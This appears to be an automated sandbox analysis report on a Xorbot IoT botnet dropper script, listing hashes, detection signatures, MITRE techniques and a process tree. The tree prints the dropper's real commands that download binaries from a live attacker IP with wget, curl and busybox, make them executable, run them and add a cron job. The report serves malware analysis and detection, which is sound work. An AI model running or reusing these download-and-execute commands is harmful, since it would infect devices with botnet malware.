xorbot | 04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50

Analysis

max time kernel
150s
max time network
126s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02-12-2024 19:11

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General

Target

bins.sh
Size

10KB
MD5

0b5635532d2f1fa548c3a52df6cafeb3
SHA1

28fad0a1c84fa6e72b1212c0ac1324440c690b1a
SHA256

04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50
SHA512

ce1b43efa4c05530b1e6cd86b6d02519bce2048be45bf0c61f59028ebd8a3aca058c4c3d827401cd1e5d5433ab3bc595204472266f880252124a1673e4e94ce7
SSDEEP

192:oDuwScugogdt0DVY5BLMQIguwScugog3Z5BLMQw:oNaDVY5BLMQI45BLMQw

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 11 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-15.dat	family_xorbot
behavioral4/files/fstream-17.dat	family_xorbot
behavioral4/files/fstream-24.dat	family_xorbot
behavioral4/files/fstream-25.dat	family_xorbot
behavioral4/files/fstream-26.dat	family_xorbot
behavioral4/files/fstream-27.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
799	chmod
810	chmod
854	chmod
910	chmod
734	chmod
741	chmod
843	chmod
889	chmod
896	chmod
903	chmod
766	chmod
868	chmod
861	chmod
875	chmod

Executes dropped EXE 14 IoCs

Processes:

kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatLZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFIp33qkY1gklk5rgaxEEe52mbg2OzLbdg0oHY4AN11xKNimY2VT9yNnEedj6M2jg4cq1LbFQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFKpm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiOKSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8Ao2IqlCxnxNaefs9GDORapZH85exENqAr4wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6fZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7LoaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1mvPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk

ioc	pid	Process
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	735	kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	742	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	767	p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	801	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
/tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK	811	FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
/tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2	844	pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
/tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO	855	jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
/tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8	862	KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
/tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4	869	Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
/tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ	876	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
/tmp/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f	890	ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
/tmp/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L	897	ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
/tmp/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m	904	oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
/tmp/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk	911	vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk

Renames itself 1 IoCs

Processes:

wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ

pid	Process
877	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FUePYc	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZcurlcurlcurlcurlcurlcrontabcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/78/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/110/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/12/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/22/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/73/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/118/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/119/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/703/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/377/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/907/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/36/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/70/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/82/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/167/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/890/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/900/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/8/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/20/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/37/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/80/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/380/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/885/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/902/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/19/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/701/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/895/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/69/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/909/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/914/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/151/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/356/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/3/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/10/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/17/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/21/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/23/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/432/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/24/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/667/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/882/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/894/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/7/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/226/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/672/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/908/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/77/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/354/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/358/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/897/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
File opened for reading	/proc/678/cmdline	wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ

Writes file to tmp directory 34 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetwgetcurlbusyboxwgetbusyboxbusyboxbusyboxbusyboxcurlcurlcurlwgetbusyboxwgetbusyboxbusyboxbusyboxbusyboxwgetcurlwgetbusyboxbusyboxwgetcurlcurlcurlcurlwget

description	ioc	Process
File opened for modification	/tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO	busybox
File opened for modification	/tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8	wget
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	curl
File opened for modification	/tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2	busybox
File opened for modification	/tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK	wget
File opened for modification	/tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO	wget
File opened for modification	/tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO	curl
File opened for modification	/tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8	busybox
File opened for modification	/tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4	wget
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	busybox
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	busybox
File opened for modification	/tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4	busybox
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	busybox
File opened for modification	/tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2	curl
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	curl
File opened for modification	/tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ	curl
File opened for modification	/tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2	wget
File opened for modification	/tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ	busybox
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	wget
File opened for modification	/tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK	busybox
File opened for modification	/tmp/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m	busybox
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	busybox
File opened for modification	/tmp/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f	busybox
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	wget
File opened for modification	/tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK	curl
File opened for modification	/tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ	wget
File opened for modification	/tmp/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L	busybox
File opened for modification	/tmp/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk	busybox
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	wget
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	curl
File opened for modification	/tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8	curl
File opened for modification	/tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4	curl
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	curl
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  ./kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  PID:737
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  ./ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  ./p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  PID:771
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  ./Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  ./FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  PID:813
- /usr/bin/wget
  wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  ./pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
  2⤵
  PID:848
- /usr/bin/wget
  wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  ./jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
  2⤵
  PID:857
- /usr/bin/wget
  wget http://216.126.231.240/bins/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  - Writes file to tmp directory
  PID:858
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  ./KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  ./Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm Ao2IqlCxnxNaefs9GDORapZH85exENqAr4
  2⤵
  PID:871
- /usr/bin/wget
  wget http://216.126.231.240/bins/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  ./wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:876
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:878
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:879
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:880
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:881
- /bin/rm
  rm wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod 777 ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  ./ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  ./ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  - Reads runtime system information
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod 777 oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  ./oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  - Writes file to tmp directory
  PID:909
- /bin/chmod
